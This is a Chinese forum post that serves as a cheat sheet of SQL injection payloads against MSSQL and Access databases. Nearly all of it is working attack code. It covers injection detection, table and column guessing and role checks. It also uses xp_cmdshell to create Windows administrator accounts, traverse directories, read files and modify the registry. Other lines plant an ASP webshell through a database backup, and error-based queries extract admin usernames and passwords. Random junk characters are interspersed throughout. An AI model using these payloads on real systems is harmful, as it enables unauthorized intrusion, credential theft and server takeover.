找回密码
 立即注册
查看: 2466|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
' s+ B0 z- v* f5 O;and 1=1 * q& h/ N3 x. ]4 I3 p
;and 1=2
) g- a4 Z9 a3 X- P$ e  k
" }* n" }5 q3 t' @2.初步判断是否是mssql 8 d( `1 t; a! P! W' i7 f
;and user>0
( r# g8 D) n: g! o: [' v2 F( y2 d  f8 N: r9 u
3.判断数据库系统
$ Z7 r7 h5 [& o, h+ d/ k;and (select count(*) from sysobjects)>0 mssql 5 ~8 r" E% ]6 Z  d
;and (select count(*) from msysobjects)>0 access
1 c! v2 N# O" S, x# E
' y7 `9 Q. ]) {3 a4.注入参数是字符
3 ]9 y9 E9 c! G8 ~  |) O4 I- ^'and [查询条件] and ''=' 8 f9 n: w  m' O4 M$ R9 Y
' U1 u3 M$ w! r" Z7 x
5.搜索时没过滤参数的 ; [- g3 h* a5 K  }
'and [查询条件] and '%25'=' & H# v) L, P1 I4 ^/ n
% C; P$ y: |$ O
6.猜数表名
2 t1 x3 T/ Z- @# J( g/ n3 E/ W;and (select Count(*) from [表名])>0
6 K0 `- G! I5 U/ Y( ^
) F6 e- k+ o8 H9 g3 j7.猜字段 ( E2 E* e5 u- u* T! L9 z, v' ^
;and (select Count(字段名) from 表名)>0
: R; Q- m1 U: y( ^" @# y, D) Y. H! g* k; ~9 G  G( m
8.猜字段中记录长度
; o3 R: X% [1 G# I8 \;and (select top 1 len(字段名) from 表名)>0
1 e$ |6 y3 m, q( ~; m* G% v3 j  ]1 b5 o* R6 {
9.(1)猜字段的ascii值(access)
( K2 \/ F+ K; B! p& O% n;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 + ?  W! `/ ?  p2 v8 a

( t6 Y" H/ h  }; V(2)猜字段的ascii值(mssql)
" F- X+ |  A3 K# p8 B: q- U* c;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
- m  {+ ?: O* Y
5 i2 F1 F/ [8 z! G/ J3 x10.测试权限结构(mssql)
8 [' P) q9 G5 u$ ^0 ?- y;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9 _. w. O7 o# ?) P+ j; [( @6 l
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9 D+ Y4 w& y2 ^+ }' z, y* c
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--   A7 g: I/ j' P/ V! K8 M( Q! w) X
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ) m7 Q# Y9 I! \6 v. b
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
  Y( I& ?* _1 F2 d; Y1 C0 y;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
. E% [9 v$ R: A. A- S& t;and 1=(select IS_MEMBER('db_owner'));--
, L2 `! Y! E; R# V
+ X, g& |8 q& }0 W6 v) T* [$ r9 V11.添加mssql和系统的帐户 / Y* S1 A) r# e8 g: P1 c
;exec master.dbo.sp_addlogin username;--
# L( Z& @0 [- p- g. o;exec master.dbo.sp_password null,username,password;-- 2 c% D+ K% j  c# z  x* m; ?
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
3 T2 z1 ?) W3 _) f;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--   S! i( D/ ^5 }4 e9 n+ M# D
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ) H: j# E2 C1 Y. Z8 D: ]: ^& S+ ]
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4 o$ W7 ]+ ~4 U! P" ~" n  w' r, ]+ N

! `+ ^9 S4 G; F12.(1)遍历目录
! x1 }. k4 V- Z3 U;create table dirs(paths varchar(100), id int)
0 |& O1 h, U$ m3 ^2 i;insert dirs exec master.dbo.xp_dirtree 'c:\' $ X. w' S8 }( w& b& P
;and (select top 1 paths from dirs)>0 ' L% e( Y* n9 S7 [
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 4 b1 q8 N; n% u  x' z; I: v

. |! r. m  x/ m! Y  e1 x; V1 Y% Y(2)遍历目录 ! o: B4 [& ]& b/ g! L  z% O
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
; W- f: _. T' x* d; M;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
6 p/ I+ K# k$ ^9 K;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
) L0 {9 K5 p+ Z;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
& V6 }/ M4 d# ~2 l& `/ t8 ^& N3 g;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
8 J. H6 v- s% a! e3 S) w4 {+ b7 I4 S5 V" w9 z# D/ ~
13.mssql中的存储过程 8 j, w& E, V. F
xp_regenumvalues 注册表根键, 子键
- a3 W* k9 v; V' D; N+ l7 \' v9 _;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 1 _7 `& V/ H1 l2 h) t3 N
xp_regread 根键,子键,键值名 2 g- h9 m" a$ K4 j
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1 H+ A6 U# I) {
xp_regwrite 根键,子键, 值名, 值类型, 值 # h6 P+ K6 a# F) ^! v$ b9 r
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
8 J6 E$ J: _  R1 [;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
8 o$ d! h9 {* M  U/ }' e* jxp_regdeletevalue 根键,子键,值名 4 }" g2 O* Q( t* W" D* ^
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 4 A% l: g2 R  l
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
/ h' U9 B/ c+ C* b5 g6 A. y8 i. C- B0 X! y
14.mssql的backup创建webshell
" v, J* H+ m1 _use model
. V, c2 ?; h$ k' I( ?9 W- Icreate table cmd(str image); 2 c9 f5 g+ K! j: {2 w9 O9 _; C
insert into cmd(str) values ('<% Dim oScript %>'); 8 s6 i  a( L. y2 c+ X8 l
backup database model to disk='c:\l.asp';
( D$ P6 F* {/ l5 r. N
1 A, Q  F  p0 W15.mssql内置函数
9 ^5 J" J  H. U: D1 }3 Q;and (select @@version)>0 获得Windows的版本号 : s& ~8 `+ S& G) B8 {8 p/ e
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
8 [) o4 b' P4 u; \# M;and (select user_name())>0 爆当前系统的连接用户
6 h& j) j- v) {+ {9 E;and (select db_name())>0 得到当前连接的数据库
  Y2 k1 ]; U, n* U4 G
. }& o  G# z  i9 o0 P# d4 }: g
/ z8 Z) _4 U1 M7 Q0 x3 z
, F2 F. g0 A9 l3 o" S1 ZMSSQL手注暴库0 c- f+ w1 X5 E
2 f5 O. `; p* |/ }- `$ D
1.暴出当前表名和列名- |! _6 Y7 r2 _1 K* q# ~
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
6 B% l3 ]7 C1 Q* g
; ^1 Z3 P8 }/ @! D  q第一.爆出所有数据库名2 M* w/ n' T+ l8 ?7 `' S1 e/ w
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
: S, `5 }$ V  j2 C第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。( d% g  J& ~% Y
) p- B6 t( u* d$ d( o  B! t
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
8 }& n" P" A" L; f
7 `- W% d& K9 ]2 `3 q' q, h% B0 V' [
第二.爆出指定库中的所有表名
( q' r; ]% Z  S6 T, s得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。8 `! h  u  K0 p; n) e
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。) ^# \  i3 n5 ?

$ [4 k. U  F6 J$ Y) E: P. @- iand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--) P2 N) I& G9 F6 J; u
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
* Y) k( _* z, u+ N$ v6 |1 ~and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--) s- B' m* G% E5 ^# Q

% l3 s+ Z0 {6 G8 G, W3 H4.爆出指定表中的所有列名$ Q; ]# b* z/ i/ ^/ p6 ]
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) / `% j5 ^) [/ j5 i5 X/ D/ q4 [
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'! ^% U. t6 A$ }" {8 v
+ A4 z4 d/ ]2 Q7 t& S" z
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名+ q$ ~* |( v& q; M- Y0 {4 Z9 K. u

7 ?! a0 a+ R$ ?4 m) V( ?再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ; d; g) B1 e+ e6 R9 Z2 R, R
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。6 g; H1 \; V$ g; |) z4 Z

: X" K% L6 l. C; X  b3 s& x) |9 x7 |  U7 Z$ Z
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值  b+ K3 ?- O( S
5 w, ~2 R& c/ a2 J
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
5 \9 ~5 p* m0 s/ w  b1 u# z$ s( z2 u9 u! N
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
! j+ V1 o, ?3 G
, r6 W. E0 m: _4 j. j5 |1 F( ^
- g& b, Y3 \6 s0 H; s. Y8 F, h$ c) w$ ~, D# K8 s" u
5.读取指定表中的数据
( c# a* S+ G' S& e' M6 F; H% k1 P, |5 E
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
; v8 Y( E5 R# I9 N3 G; j2 s& o; V! y6 u9 D* k! }. P. ?( `* Q  w9 x
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
9 m  v9 @. k6 l
6 A/ J+ J. }* p+ V) n$ ?and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码$ w& {5 I1 |+ M

; H* c1 \1 T( y7 c
: J* }/ ]" K& T5 K' }$ G% Wand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)5 a( `" X  j: k
% K! t8 ?; j) j6 j* p5 Z
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)2 e/ Q! z' `$ o0 Z
9 t& d) [# A9 e
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--' V& t9 J4 B  A7 Q. X

0 D' s" M6 @5 l" l4 z+ `7 \# O知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。4 Y1 y) Y6 A( {) `. K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表